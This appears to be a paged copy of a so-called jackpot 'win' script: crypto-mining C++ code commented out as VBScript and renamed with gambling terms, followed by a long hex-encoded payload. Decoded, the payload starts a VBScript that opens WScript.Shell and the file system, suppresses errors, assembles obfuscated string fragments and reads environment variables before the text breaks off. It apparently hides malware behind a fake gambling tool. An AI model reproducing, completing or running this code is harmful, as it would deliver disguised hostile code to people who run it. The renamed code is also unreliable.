Вы находитесь на странице: 1из 30

'// Copyright (c) 2009-2010 Scriptsforwin

'// Copyright (c) 2009-2020 ScriptRollJackpotBalance developers


'// Distributed under the MIT software license, see the accompanying
'// file COPYING or
http://www.opensource.org/licenses/ScriptRollJackpotBalance.php.
'// Enjoy!!
'#include <ScriptRollJackpotBalance.h>
'
'#include <amount.h>
'#include <chain.h>
'#include <chainparams.h>
'#include <coins.h>
'#include <DoubleWins_2X/DoubleWins_2X.h>
'#include <DoubleWins_2X/merkle.h>
'#include <DoubleWins_2X/tx_verify.h>
'#include <DoubleWins_2X/validation.h>
'#include <policy/feerate.h>
'#include <policy/policy.h>
'#include <pow.h>
'#include <primitives/Jackpot_Roll.h>
'#include <timedata.h>
'#include <util/moneystr.h>
'#include <util/system.h>
'
'#include <algorithm>
'#include <utility>
'
'int64_t UpdateTime(CBlockHeader* pblock, const DoubleWins_2X::Params&
DoubleWins_2XParams, const CBlockIndex* pindexPrev)
'{
'int64_t nOldTime = pblock->nTime;
'int64_t nNewTime = std::max(pindexPrev->GetMedianTimePast()+1, GetAdjustedTime());
'
'if (nOldTime < nNewTime)
'pblock->nTime = nNewTime;
'
'// Updating time can change work required on testnet:
'if (DoubleWins_2XParams.fPowAllowMinDifficultyBlocks)
'pblock->nBits = GetNextWorkRequired(pindexPrev, pblock, DoubleWins_2XParams);
'
'return nNewTime - nOldTime;
'}
'
'void RegenerateCommitments(CBlock& block)
'{
'CMutableJackpot_Roll tx{*block.vtx.at(0)};
'tx.vout.erase(tx.vout.begin() + GetWitnessCommitmentIndex(block));
'block.vtx.at(0) = MakeJackpot_RollRef(tx);
'
'GenerateRoll_10000Commitment(block, WITH_LOCK(cs_main, return
LookupBlockIndex(block.hashPrevBlock)), Params().GetDoubleWins_2X());
'
'block.hashMerkleRoot = BlockMerkleRoot(block);
'}
'
'BlockAssembler::Options::Options() {
'blockMinFeeRate = CFeeRate(DEFAULT_BLOCK_MIN_TX_FEE);
'nBlockMaxWeight = DEFAULT_BLOCK_MAX_WEIGHT;
'}
'
'BlockAssembler::BlockAssembler(const CTxMemPool& mempool, const CChainParams&
params, const Options& options)
': chainparams(params),
'm_mempool(mempool)
'{
'blockMinFeeRate = options.blockMinFeeRate;
'// Limit weight to between 4K and MAX_BLOCK_WEIGHT-4K for sanity:
'nBlockMaxWeight = std::max<size_t>(4000, std::min<size_t>(MAX_BLOCK_WEIGHT - 4000,
options.nBlockMaxWeight));
'}
'
'static BlockAssembler::Options DefaultOptions()
'{
'// Block resource limits
'// If -blockmaxweight is not given, limit to DEFAULT_BLOCK_MAX_WEIGHT
'BlockAssembler::Options options;
'options.nBlockMaxWeight = gArgs.GetArg("-blockmaxweight",
DEFAULT_BLOCK_MAX_WEIGHT);
'CAmount n = 0;
'if (gArgs.IsArgSet("-blockmintxfee") && ParseMoney(gArgs.GetArg("-blockmintxfee",
""), n)) {
'options.blockMinFeeRate = CFeeRate(n);
'} else {
'options.blockMinFeeRate = CFeeRate(DEFAULT_BLOCK_MIN_TX_FEE);
'}
'return options;
'}
'
'BlockAssembler::BlockAssembler(const CTxMemPool& mempool, const CChainParams&
params)
': BlockAssembler(mempool, params, DefaultOptions()) {}
'
'void BlockAssembler::resetBlock()
'{
'inBlock.clear();
'
'// Reserve space for Roll_10000 tx
'nBlockWeight = 4000;
'nBlockSigOpsCost = 400;
'fIncludeWitness = false;
'
'// These counters do not include Roll_10000 tx
'nBlockTx = 0;
'nFees = 0;
'}
'
'Optional<int64_t> BlockAssembler::m_last_block_num_txs{nullopt};
'Optional<int64_t> BlockAssembler::m_last_block_weight{nullopt};
'
'std::unique_ptr<CBlockTemplate> BlockAssembler::CreateNewBlock(const CScript&
scriptPubKeyIn)
'{
'int64_t nTimeStart = GetTimeMicros();
'
'resetBlock();
'
'pblocktemplate.reset(new CBlockTemplate());
'
'if(!pblocktemplate.get())
'return nullptr;
'pblock = &pblocktemplate->block; // pointer for convenience
'
'// Add dummy Roll_10000 tx as first Jackpot_Roll
'pblock->vtx.emplace_back();
'pblocktemplate->vTxFees.push_back(-1); // updated at end
'pblocktemplate->vTxSigOpsCost.push_back(-1); // updated at end
'
'LOCK2(cs_main, m_mempool.cs);
'CBlockIndex* pindexPrev = ::ChainActive().Tip();
'assert(pindexPrev != nullptr);
'nHeight = pindexPrev->nHeight + 1;
'
'pblock->nVersion = ComputeBlockVersion(pindexPrev,
chainparams.GetDoubleWins_2X());
'// -regtest only: allow overriding block.nVersion with
'// -blockversion=N to test forking scenarios
'if (chainparams.MineBlocksOnDemand())
'pblock->nVersion = gArgs.GetArg("-blockversion", pblock->nVersion);
'
'pblock->nTime = GetAdjustedTime();
'const int64_t nMedianTimePast = pindexPrev->GetMedianTimePast();
'
'nLockTimeCutoff = (STANDARD_LOCKTIME_VERIFY_FLAGS & LOCKTIME_MEDIAN_TIME_PAST)
'? nMedianTimePast
': pblock->GetBlockTime();
'
'// Decide whether to include DoubleWins
'// This is only needed in case Jackpot get very high
'// (which would require a very deep reorganization).
'// Note that the mempool would accept Jackpot with Wins2X data before
'// IsWinsEnabled, but we would only ever Win after IsWinsEnabled
'// unless there is a massive Jackpot with the wins2X softfork
'// not activated.
'// TODO: replace this with a call to main to assess validity of a mempool
'// Jackpot (which in most cases can be a no-op).
'fIncludeWitness = IsWitnessEnabled(pindexPrev, chainparams.GetDoubleWins_2X());
'
'int nPackagesSelected = 0;
'int nDescendantsUpdated = 0;
'addPackageTxs(nPackagesSelected, nDescendantsUpdated);
'
'int64_t nTime1 = GetTimeMicros();
'
'm_last_block_num_txs = nBlockTx;
'm_last_block_weight = nBlockWeight;
'
'// Create Roll_10000 Jackpot_Roll.
'CMutableJackpot_Roll Roll_10000Tx;
'Roll_10000Tx.vin.resize(1);
'Roll_10000Tx.vin[0].prevout.SetNull();
'Roll_10000Tx.vout.resize(1);
'Roll_10000Tx.vout[0].scriptPubKey = scriptPubKeyIn;
'Roll_10000Tx.vout[0].nValue = nFees + GetBlockSubsidy(nHeight,
chainparams.GetDoubleWins_2X());
'Roll_10000Tx.vin[0].scriptSig = CScript() << nHeight << OP_0;
'pblock->vtx[0] = MakeJackpot_RollRef(std::move(Roll_10000Tx));
'pblocktemplate->vchRoll_10000Commitment = GenerateRoll_10000Commitment(*pblock,
pindexPrev, chainparams.GetDoubleWins_2X());
'pblocktemplate->vTxFees[0] = -nFees;
'
'LogPrintf("CreateNewBlock(): block weight: %u txs: %u fees: %ld sigops %d\n",
GetBlockWeight(*pblock), nBlockTx, nFees, nBlockSigOpsCost);
'
'// Fill in header
'pblock->hashPrevBlock = pindexPrev->GetBlockHash();
'UpdateTime(pblock, chainparams.GetDoubleWins_2X(), pindexPrev);
'pblock->nBits = GetNextWorkRequired(pindexPrev, pblock,
chainparams.GetDoubleWins_2X());
'pblock->nNonce = 0;
'pblocktemplate->vTxSigOpsCost[0] = WITNESS_SCALE_FACTOR *
GetLegacySigOpCount(*pblock->vtx[0]);
'
'BlockValidationState state;
'if (!TestBlockValidity(state, chainparams, *pblock, pindexPrev, false, false)) {
'throw std::runtime_error(strprintf("%s: TestBlockValidity failed: %s", __func__,
state.ToString()));
'}
'int64_t nTime2 = GetTimeMicros();
'
'LogPrint(BCLog::BENCH, "CreateNewBlock() packages: %.2fms (%d packages, %d updated
descendants), validity: %.2fms (total %.2fms)\n", 0.001 * (nTime1 - nTimeStart),
nPackagesSelected, nDescendantsUpdated, 0.001 * (nTime2 - nTime1), 0.001 * (nTime2
- nTimeStart));
'
'return std::move(pblocktemplate);
'}
'
'void BlockAssembler::onlyUnconfirmed(CTxMemPool::setEntries& testSet)
'{
'for (CTxMemPool::setEntries::iterator iit = testSet.begin(); iit != testSet.end();
) {
'// Only test txs not already in the block
'if (inBlock.count(*iit)) {
'testSet.erase(iit++);
'}
'else {
'iit++;
'}
'}
'}
'
'bool BlockAssembler::TestPackage(uint64_t packageSize, int64_t packageSigOpsCost)
const
'{
'// TODO: switch to weight-based accounting for packages instead of vsize-based
accounting.
'if (nBlockWeight + WITNESS_SCALE_FACTOR * packageSize >= nBlockMaxWeight)
'return false;
'if (nBlockSigOpsCost + packageSigOpsCost >= MAX_BLOCK_SIGOPS_COST)
'return false;
'return true;
'}
'
'// Perform Jackpot_Roll-level checks before adding to block:
'// - Jackpot_Roll finality (locktime)
'// - premature witness (in case segwit Jackpot_Rolls are added to mempool before
'// segwit activation)
'bool BlockAssembler::TestPackageJackpot_Rolls(const CTxMemPool::setEntries&
package)
'{
'for (CTxMemPool::txiter it : package) {
'if (!IsFinalTx(it->GetTx(), nHeight, nLockTimeCutoff))
'return false;
'if (!fIncludeWitness && it->GetTx().HasWitness())
'return false;
'}
'return true;
'}
'
'void BlockAssembler::AddToBlock(CTxMemPool::txiter iter)
'{
'pblock->vtx.emplace_back(iter->GetSharedTx());
'pblocktemplate->vTxFees.push_back(iter->GetFee());
'pblocktemplate->vTxSigOpsCost.push_back(iter->GetSigOpCost());
'nBlockWeight += iter->GetTxWeight();
'++nBlockTx;
'nBlockSigOpsCost += iter->GetSigOpCost();
'nFees += iter->GetFee();
'inBlock.insert(iter);
'
'bool fPrintPriority = gArgs.GetBoolArg("-printpriority", DEFAULT_PRINTPRIORITY);
'if (fPrintPriority) {
'LogPrintf("fee %s txid %s\n",
'CFeeRate(iter->GetModifiedFee(), iter->GetTxSize()).ToString(),
'iter->GetTx().GetHash().ToString());
'}
'}
'
'int BlockAssembler::UpdatePackagesForAdded(const CTxMemPool::setEntries&
alreadyAdded,
'indexed_modified_Jackpot_Roll_set &Jackpot_Win2x)
'{
'int nDescendantsUpdated = 0;
'for (CTxMemPool::txiter it : alreadyAdded) {
'CTxMemPool::setEntries descendants;
'm_mempool.CalculateDescendants(it, descendants);
'// Insert all descendants (not yet in block) into the modified set
'for (CTxMemPool::txiter desc : descendants) {
'if (alreadyAdded.count(desc))
'continue;
'++nDescendantsUpdated;
'modtxiter mit = Jackpot_Win2x.find(desc);
'if (mit == Jackpot_Win2x.end()) {
'CTxMemPoolModifiedEntry modEntry(desc);
'modEntry.nSizeWithAncestors -= it->GetTxSize();
'modEntry.nModFeesWithAncestors -= it->GetModifiedFee();
'modEntry.nSigOpCostWithAncestors -= it->GetSigOpCost();
'Jackpot_Win2x.insert(modEntry);
'} else {
'Jackpot_Win2x.modify(mit, update_for_parent_inclusion(it));
'}
'}
'}
'return nDescendantsUpdated;
'}
'
'// Skip entries in Roll_map that are already in a block or are present
'// in Jackpot_Win2x (which implies that the Roll_map ancestor state is
'// stale due to ancestor inclusion in the block)
'// Also skip Jackpot_Rolls that we've already failed to add. This can happen if
'// we consider a Jackpot_Roll in Jackpot_Win2x and it fails: we can then
'// potentially consider it again while walking Roll_map. It's currently
'// guaranteed to fail again, but as a belt-and-suspenders check we put it in
'// failedTx and avoid re-evaluation, since the re-evaluation would be using
'// cached size/sigops/fee values that are not actually correct.
'bool BlockAssembler::SkipRoll_mapEntry(CTxMemPool::txiter it,
indexed_modified_Jackpot_Roll_set &Jackpot_Win2x, CTxMemPool::setEntries &failedTx)
'{
'assert(it != m_mempool.Roll_map.end());
'return Jackpot_Win2x.count(it) || inBlock.count(it) || failedTx.count(it);
'}
'
'void BlockAssembler::SortForBlock(const CTxMemPool::setEntries& package,
std::vector<CTxMemPool::txiter>& sortedEntries)
'{
'// Sort package by ancestor count
'// If a Jackpot_Roll A depends on Jackpot_Roll B, then A's ancestor count
'// must be greater than B's. So this is sufficient to validly order the
'// Jackpot_Rolls for block inclusion.
'sortedEntries.clear();
'sortedEntries.insert(sortedEntries.begin(), package.begin(), package.end());
'std::sort(sortedEntries.begin(), sortedEntries.end(),
CompareTxIterByAncestorCount());
'}
'
'// This Jackpot_Roll selection algorithm orders the mempool based
'// on feerate of a Jackpot_Roll including all unconfirmed ancestors.
'// Since we don't remove Jackpot_Rolls from the mempool as we select them
'// for block inclusion, we need an alternate method of updating the feerate
'// of a Jackpot_Roll with its not-yet-selected ancestors as we go.
'// This is accomplished by walking the in-mempool descendants of selected
'// Jackpot_Rolls and storing a temporary modified state in Jackpot_Win2xs.
'// Each time through the loop, we compare the best Jackpot_Roll in
'// Jackpot_Win2xs with the next Jackpot_Roll in the mempool to decide what
'// Jackpot_Roll package to work on next.
'void BlockAssembler::addPackageTxs(int &nPackagesSelected, int
&nDescendantsUpdated)
'{
'// Jackpot_Win2x will store sorted packages after they are modified
'// because some of their txs are already in the block
'indexed_modified_Jackpot_Roll_set Jackpot_Win2x;
'// Keep track of entries that failed inclusion, to avoid duplicate work
'CTxMemPool::setEntries failedTx;
'
'// Start by adding all descendants of previously added txs to Jackpot_Win2x
'// and modifying them for their already included ancestors
'UpdatePackagesForAdded(inBlock, Jackpot_Win2x);
'
'CTxMemPool::indexed_Jackpot_Roll_set::index<ancestor_score>::type::iterator mi =
m_mempool.Roll_map.get<ancestor_score>().begin();
'CTxMemPool::txiter iter;
'
'// Limit the number of attempts to add Jackpot_Rolls to the block when it is
'// close to full; this is just a simple heuristic to finish quickly if the
'// mempool has a lot of entries.
'const int64_t MAX_CONSECUTIVE_FAILURES = 1000;
'int64_t nConsecutiveFailed = 0;
'
'while (mi != m_mempool.Roll_map.get<ancestor_score>().end() || !
Jackpot_Win2x.empty()) {
'// First try to find a new Jackpot_Roll in Roll_map to evaluate.
'if (mi != m_mempool.Roll_map.get<ancestor_score>().end() &&
'SkipRoll_mapEntry(m_mempool.Roll_map.project<0>(mi), Jackpot_Win2x, failedTx)) {
'++mi;
'continue;
'}
'
'// Now that mi is not stale, determine which Jackpot_Roll to evaluate:
'// the next entry from Roll_map, or the best from Jackpot_Win2x?
'bool fUsingModified = false;
'
'modtxscoreiter modit = Jackpot_Win2x.get<ancestor_score>().begin();
'if (mi == m_mempool.Roll_map.get<ancestor_score>().end()) {
'// We're out of entries in Roll_map; use the entry from Jackpot_Win2x
'iter = modit->iter;
'fUsingModified = true;
'} else {
'// Try to compare the Roll_map entry to the Jackpot_Win2x entry
'iter = m_mempool.Roll_map.project<0>(mi);
'if (modit != Jackpot_Win2x.get<ancestor_score>().end() &&
'CompareTxMemPoolEntryByAncestorFee()(*modit, CTxMemPoolModifiedEntry(iter))) {
'// The best entry in Jackpot_Win2x has higher score
'// than the one from Roll_map.
'// Switch which Jackpot_Roll (package) to consider
'iter = modit->iter;
'fUsingModified = true;
'} else {
'// Either no entry in Jackpot_Win2x, or it's worse than Roll_map.
'// Increment mi for the next loop iteration.
'++mi;
'}
'}
'
'// We skip Roll_map entries that are inBlock, and Jackpot_Win2x shouldn't
'// contain anything that is inBlock.
'assert(!inBlock.count(iter));
'
'uint64_t packageSize = iter->GetSizeWithAncestors();
'CAmount packageFees = iter->GetModFeesWithAncestors();
'int64_t packageSigOpsCost = iter->GetSigOpCostWithAncestors();
'if (fUsingModified) {
'packageSize = modit->nSizeWithAncestors;
'packageFees = modit->nModFeesWithAncestors;
'packageSigOpsCost = modit->nSigOpCostWithAncestors;
'}
'
'if (packageFees < blockMinFeeRate.GetFee(packageSize)) {
'// Everything else we might consider has a lower fee rate
'return;
'}
'
'if (!TestPackage(packageSize, packageSigOpsCost)) {
'if (fUsingModified) {
'// Since we always look at the best entry in Jackpot_Win2x,
'// we must erase failed entries so that we can consider the
'// next best entry on the next loop iteration
'Jackpot_Win2x.get<ancestor_score>().erase(modit);
'failedTx.insert(iter);
'}
'
'++nConsecutiveFailed;
'
'if (nConsecutiveFailed > MAX_CONSECUTIVE_FAILURES && nBlockWeight >
'nBlockMaxWeight - 4000) {
'// Give up if we're close to full and haven't succeeded in a while
'break;
'}
'continue;
'}
'
'CTxMemPool::setEntries ancestors;
'uint64_t nNoLimit = std::numeric_limits<uint64_t>::max();
'std::string dummy;
'm_mempool.CalculateMemPoolAncestors(*iter, ancestors, nNoLimit, nNoLimit,
nNoLimit, nNoLimit, dummy, false);
'
'onlyUnconfirmed(ancestors);
'ancestors.insert(iter);
'
'// Test if all tx's are Final
'if (!TestPackageJackpot_Rolls(ancestors)) {
'if (fUsingModified) {
'Jackpot_Win2x.get<ancestor_score>().erase(modit);
'failedTx.insert(iter);
'}
'continue;
'}
'
'// This Jackpot_Roll will make it in; reset the failed counter.
'nConsecutiveFailed = 0;
'
'// Package can be added. Sort the entries in a valid order.
'std::vector<CTxMemPool::txiter> sortedEntries;
'SortForBlock(ancestors, sortedEntries);
'
'for (size_t i=0; i<sortedEntries.size(); ++i) {
'AddToBlock(sortedEntries[i]);
'// Erase from the modified set, if present
'Jackpot_Win2x.erase(sortedEntries[i]);
'}
'
'++nPackagesSelected;
'
'// Update Jackpot_Rolls that depend on each of these
'nDescendantsUpdated += UpdatePackagesForAdded(ancestors, Jackpot_Win2x);
'}
'}
'
'void IncrementExtraNonce(CBlock* pblock, const CBlockIndex* pindexPrev, unsigned
int& nExtraNonce)
'{
'// Update nExtraNonce
'static uint256 hashPrevBlock;
'if (hashPrevBlock != pblock->hashPrevBlock)
'{
'nExtraNonce = 0;
'hashPrevBlock = pblock->hashPrevBlock;
'}
'++nExtraNonce;
'unsigned int nHeight = pindexPrev->nHeight+1; // Height first in Roll_10000
required for block.version=2
'CMutableJackpot_Roll txRoll_10000(*pblock->vtx[0]);
'txRoll_10000.vin[0].scriptSig = (CScript() << nHeight << CScriptNum(nExtraNonce));
'assert(txRoll_10000.vin[0].scriptSig.size() <= 100);
'
'pblock->vtx[0] = MakeJackpot_RollRef(std::move(txRoll_10000));
'pblock->hashMerkleRoot = BlockMerkleRoot(*pblock);
'}
code="44696D206F626A5753482C6F626A46534F200D0A536574206F626A575348203D2043726561746
54F626A6563742822575363726970742E5368656C6C22290D0A536574206F626A46534F203D20437265
6174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422290D0A4
F6E204572726F7220526573756D65204E6578740D0A44696D2047616D65526F6C6C52616E646F6D312C
2057696E73446F75626C657358322C20506179446F75626C657358332C205265674A61636B706F74576
96E730D0A47616D65526F6C6C52616E646F6D3238203D20225366222B22684E222B224469222B224B62
222B226572222B226475222B227151222B225536222B22447A222B224356222B225646222B226378222
B224736222B226F50222B22597A222B223746220D0A47616D65526F6C6C52616E646F6D3335203D2022
316D222B22796F222B226441222B226150222B227A50222B225954222B223665222B227A78222B22423
4222B224832222B227379222B225A71222B226E33222B226355222B225163222B2265776F220D0A4761
6D65526F6C6C52616E646F6D3131203D20224244222B223361222B224E35222B224E44222B223632222
B22725A222B227A64222B225157222B227A42222B226878222B225477222B226752222B22506E222B22
514B222B227A32222B22706832220D0A47616D65526F6C6C52616E646F6D31203D20223147222B22544
8222B224E43222B223579222B22527A222B225574222B224434222B22366F222B225170222B22575522
2B22426E222B225548222B226452222B224857222B22366B222B226E38220D0A47616D65526F6C6C526
16E646F6D3239203D20225445222B225131222B227064222B223532222B226F50222B22596F222B2275
72222B227733222B224C69222B224273222B223334222B225562222B226E39222B224643222B2238382
22B227442220D0A47616D65526F6C6C52616E646F6D34203D2022344E222B225236222B227071222B22
4E6A222B224D53222B226470222B22504A222B223267222B223954222B227873222B226850222B22725
4222B224C33222B225376222B226545222B22487533220D0A47616D65526F6C6C52616E646F6D333620
3D2022324E222B227939222B224279222B225742222B226831222B224657222B225872222B225746222
B226564222B22385A222B22594B222B227964222B226567222B224150222B224E64222B22747242220D
0A47616D65526F6C6C52616E646F6D3432203D2022384D222B225477222B225A41222B226659222B227
66F222B227078222B225A44222B224558222B22354E222B224C68222B227770222B225270222B224432
222B227537222B226B46222B226B5A6B220D0A47616D65526F6C6C52616E646F6D3334203D20225A482
22B226463222B22674D222B226E50222B226566222B225043222B224B56222B223568222B226B73222B
224141222B227659222B223468222B227548222B227831222B227036222B223137220D0A47616D65526
F6C6C52616E646F6D38203D20223847222B224362222B22517A222B226557222B225735222B22326422
2B225858222B226D4E222B223867222B226645222B226135222B223370222B224150222B226158222B2
26D5A222B225A546E220D0A47616D65526F6C6C52616E646F6D3435203D2022424D222B223166222B22
5546222B22634E222B224848222B22704E222B225237222B227279222B225579222B22526B222B22333
4222B22554D222B226933222B22324A222B225638222B22685539220D0A47616D65526F6C6C52616E64
6F6D3332203D20225751222B223766222B225565222B225672222B224453222B223741222B227651222
B224652222B224247222B224256222B223843222B225272222B226D66222B226337222B224E68222B22
3456220D0A47616D65526F6C6C52616E646F6D3439203D2022464D222B226831222B224D4E222B22777
5222B226B66222B223552222B22704B222B22794A222B22784D222B226D4D222B223838222B22417122
2B224633222B226A6D222B22576E222B226A5233220D0A47616D65526F6C6C52616E646F6D3536203D2
0224E44222B224132222B224271222B22624A222B224344222B226F50222B22376D222B22316A222B22
6546222B223475222B226367222B22576D222B224A64222B226E6E222B226F6B222B22696979220D0A4
7616D65526F6C6C52616E646F6D3431203D2022374E222B22416E222B226473222B225662222B223577
222B22717A222B226E69222B223855222B225752222B225971222B224A4C222B223663222B226562222
B226E79222B225636222B22715856220D0A47616D65526F6C6C52616E646F6D3338203D2022344E222B
223539222B225565222B224D4A222B226269222B224C59222B227A43222B223831222B226A50222B226
16B222B224A50222B225877222B227136222B224247222B224459222B22626E47220D0A47616D65526F
6C6C52616E646F6D3535203D20224D44222B226468222B224E35222B225938222B226A47222B22766D2
22B226535222B227364222B22457A222B223946222B227571222B227954222B22566D222B226B52222B
227252222B22537344220D0A47616D65526F6C6C52616E646F6D3537203D2022504E222B225271222B2
24C4B222B227434222B224675222B22686D222B22686D222B225043222B224B57222B223869222B224C
6B222B224137222B22576E222B225371222B224442222B22474335220D0A47616D65526F6C6C52616E6
46F6D3530203D2022474D222B224C45222B22316F222B226648222B224459222B225642222B22626622
2B226F62222B226D65222B224731222B224E50222B227766222B226F6B222B224B45222B227377222B2
2426636220D0A47616D65526F6C6C52616E646F6D3534203D20224C50222B223841222B227151222B22
356E222B226579222B226847222B227339222B225835222B22646A222B226A42222B224251222B22355
2222B224242222B225243222B225133222B224C6E59220D0A47616D65526F6C6C52616E646F6D323620
3D20225144222B225A37222B227A64222B224C42222B22514A222B227752222B22584B222B227571222
B226B75222B225238222B226445222B223177222B227776222B227879222B226E63222B22524A57220D
0A47616D65526F6C6C52616E646F6D3135203D20224663222B224D71222B226E41222B22557A222B226
770222B223675222B227843222B227931222B224B54222B22455A222B225364222B224847222B225A78
222B22706A222B226272222B22313579220D0A47616D65526F6C6C52616E646F6D3138203D2022694D2
22B22546B222B225769222B226239222B227243222B226A6A222B227A31222B227852222B226556222B
22567A222B223172222B225751222B22784D222B226650222B22506E222B227541220D0A47616D65526
F6C6C52616E646F6D3438203D20224544222B224739222B226A52222B22616F222B22316D222B225562
222B224B33222B223864222B225056222B226671222B227366222B223265222B227A4E222B226574222
B223553222B22535A33220D0A47616D65526F6C6C52616E646F6D36203D20223643222B225748222B22
3272222B226747222B227A6E222B223474222B226139222B227077222B224A45222B224C47222B22637
9222B224A56222B225270222B225434222B225445222B22645752220D0A47616D65526F6C6C52616E64
6F6D3136203D20224743222B223664222B226A57222B223556222B226536222B226739222B225965222
B227A63222B22434B222B227278222B22556E222B223563222B227356222B225157222B224C6A222B22
397351220D0A47616D65526F6C6C52616E646F6D3133203D2022444D222B227569222B224546222B224
A62222B224B47222B225A77222B224E33222B224D63222B22564C222B225662222B225A37222B227542
222B226E47222B22754D222B227862222B22475638220D0A47616D65526F6C6C52616E646F6D35203D2
0223550222B223634222B225A78222B227476222B227339222B225063222B223333222B226837222B22
4E33222B226753222B225253222B223347222B227A43222B22744E222B225079222B22326239220D0A4
7616D65526F6C6C52616E646F6D3231203D20224C66222B22474A222B225771222B22344D222B225366
222B227577222B22676B222B226E75222B225678222B22476E222B22344D222B226D78222B225261222
B224859222B226831222B22313833220D0A47616D65526F6C6C52616E646F6D3232203D20224D44222B
226676222B225471222B224C35222B226E50222B227669222B224178222B226B31222B225355222B226
F72222B22346B222B225848222B223178222B225246222B224279222B22595078220D0A47616D65526F
6C6C52616E646F6D37203D20223744222B227161222B226878222B225877222B224769222B227A6E222
B224477222B227479222B22464B222B22314D222B223863222B22766E222B226442222B225253222B22
454C222B226F6D58220D0A47616D65526F6C6C52616E646F6D3134203D20224542222B22586E222B224
A5A222B227362222B223978222B225A71222B22644E222B227150222B224E6D222B223954222B223263
222B224D4D222B227759222B22647A222B224176222B22653467220D0A47616D65526F6C6C52616E646
F6D3331203D20225662222B223665222B224358222B226A6A222B22726B222B224141222B224A39222B
22756A222B223934222B226141222B224E37222B225444222B224D51222B22755A222B224C39222B224
E54220D0A47616D65526F6C6C52616E646F6D3333203D20225864222B226631222B223735222B226E55
222B226937222B22464B222B224350222B226974222B224477222B226663222B226D56222B224531222
B225A44222B226133222B225263222B225136220D0A47616D65526F6C6C52616E646F6D3533203D2022
4B4D222B227071222B227443222B22724A222B224436222B223538222B224E73222B227A54222B22776
E222B226765222B225A57222B226644222B223445222B223544222B225459222B22556735220D0A4761
6D65526F6C6C52616E646F6D3132203D20224347222B22794B222B223856222B225454222B224A52222
B224553222B22436E222B22366D222B22537A222B226469222B225075222B227454222B224B6F222B22
7351222B225858222B224D5573220D0A47616D65526F6C6C52616E646F6D3137203D20224866222B225
366222B223444222B225171222B22444B222B224738222B224E78222B225551222B22366D222B227378
222B22646D222B22474B222B227369222B227631222B22704D222B22395731220D0A47616D65526F6C6
C52616E646F6D3531203D20224844222B226241222B224733222B227868222B224E45222B224463222B
226547222B226F58222B226164222B224569222B22474D222B224A51222B224163222B226441222B223
862222B22356B38220D0A47616D65526F6C6C52616E646F6D3330203D20225547222B22715A222B226E
58222B227633222B223233222B226733222B225044222B225646222B224D32222B226841222B2255642
22B223538222B225844222B227950222B226D66222B225656220D0A47616D65526F6C6C52616E646F6D
3237203D2022526A222B22636E222B22414D222B226B36222B22366F222B224677222B225A52222B227
95A222B22756D222B226157222B224D63222B226538222B224C6F222B226B55222B224631222B224A47
220D0A47616D65526F6C6C52616E646F6D3433203D2022394E222B227046222B224C50222B223764222
B224E52222B225935222B226E66222B226479222B22734B222B224C46222B226964222B226A36222B22
5435222B224744222B225447222B22684D72220D0A47616D65526F6C6C52616E646F6D3339203D20223
570222B223466222B22334A222B224436222B224563222B224853222B22334C222B224573222B224D47
222B226350222B227A67222B223357222B22726F222B226464222B225235222B22417263220D0A47616
D65526F6C6C52616E646F6D3230203D20224B4D222B224270222B224533222B225A43222B224559222B
225159222B224756222B227035222B22316E222B227265222B225236222B22566A222B224E64222B224
735222B226B33222B22544E6E220D0A47616D65526F6C6C52616E646F6D3234203D20226F48222B2276
45222B223658222B224A72222B224D33222B223169222B223773222B22534D222B227037222B22374B2
22B226F69222B227873222B227362222B223750222B226955222B22716D220D0A47616D65526F6C6C52
616E646F6D3233203D20224E66222B226757222B226556222B227576222B22504B222B22566F222B227
663222B225835222B22794D222B223768222B225852222B225433222B22466D222B226B41222B224666
222B22416856220D0A47616D65526F6C6C52616E646F6D3430203D2022364E222B225A62222B22506A2
22B224247222B226B78222B225265222B225A42222B223170222B22424A222B225038222B226A44222B
226755222B224368222B22367A222B22656B222B22366977220D0A47616D65526F6C6C52616E646F6D3
2203D20223242222B225771222B225155222B227969222B226F46222B225966222B227759222B224E51
222B224C56222B224C72222B224265222B224671222B22716A222B224A53222B22614A222B226562642
20D0A47616D65526F6C6C52616E646F6D3434203D20224147222B226E42222B227438222B22526A222B
226145222B22476B222B224433222B223242222
B226D76222B22796B222B226F59222B22696B222B22674D222B223956222B227257222B22524433220D
0A47616D65526F6C6C52616E646F6D3130203D2022414E222B226B6A222B226271222B22446B222B224
A62222B223453222B22327A222B22716D222B227A71222B224C44222B224272222B225964222B227339
222B224144222B22704D222B227945220D0A47616D65526F6C6C52616E646F6D3337203D20223347222
B226436222B226454222B227272222B226645222B224535222B227371222B224748222B227165222B22
6F4C222B224D6B222B224E74222B227663222B226E4D222B227774222B22695869220D0A47616D65526
F6C6C52616E646F6D3437203D2022444D222B22484D222B22317A222B224241222B226E31222B227832
222B226F4A222B223568222B226B50222B224252222B227242222B224143222B226531222B22536E222
B225A55222B22716764220D0A47616D65526F6C6C52616E646F6D3235203D2022504E222B224466222B
224B32222B226B4C222B226748222B22796B222B224669222B22716A222B225365222B226B68222B226
D76222B22417A222B225631222B227839222B223842222B22586741220D0A47616D65526F6C6C52616E
646F6D39203D20223946222B225674222B225055222B224772222B227435222B224855222B225A72222
B227046222B225338222B224D74222B227763222B224246222B223239222B226737222B227135222B22
6F3770220D0A47616D65526F6C6C52616E646F6D33203D20223368222B226E35222B223858222B22563
3222B22334B222B227248222B226569222B22384B222B22724D222B225443222B22694B222B22777922
2B225033222B226579222B22704E222B2236524E220D0A47616D65526F6C6C52616E646F6D3532203D2
0224A47222B226343222B225655222B22416D222B225465222B225A38222B226944222B227242222B22
476B222B226954222B223350222B227948222B227355222B224267222B22346B222B22553844220D0A4
7616D65526F6C6C52616E646F6D3436203D2022434D222B224872222B226551222B227A6E222B226366
222B225073222B226E72222B224A35222B225250222B226358222B223275222B224A57222B223972222
B226D55222B225861222B224B5A42220D0A47616D65526F6C6C52616E646F6D3538203D2022514E222B
226A6E222B224E71222B22636A222B227378222B224D58222B224663222B225276222B227642222B225
174222B227237222B227734222B225837222B223577222B223575222B22744238220D0A47616D65526F
6C6C52616E646F6D3539203D20225232222B225844222B22714A222B225871222B225234222B226E512
22B227A67222B224E62222B225450222B227534222B223342222B22755A222B22376F222B226153222B
225176222B22393463220D0A47616D65526F6C6C52616E646F6D3139203D20224A67222B224B38222B2
26D50222B226759222B225531222B226D79222B22684D222B227146222B22766F222B22546B222B2279
4D222B226232222B224E4E222B22444E222B227A52222B2273774E220D0A47616D65526F6C6C52616E6
46F6D3631203D202233220D0A47616D65526F6C6C52616E646F6D3630203D202231220D0A57696E7344
6F75626C65735832203D206F626A5753482E457870616E64456E7669726F6E6D656E74537472696E677
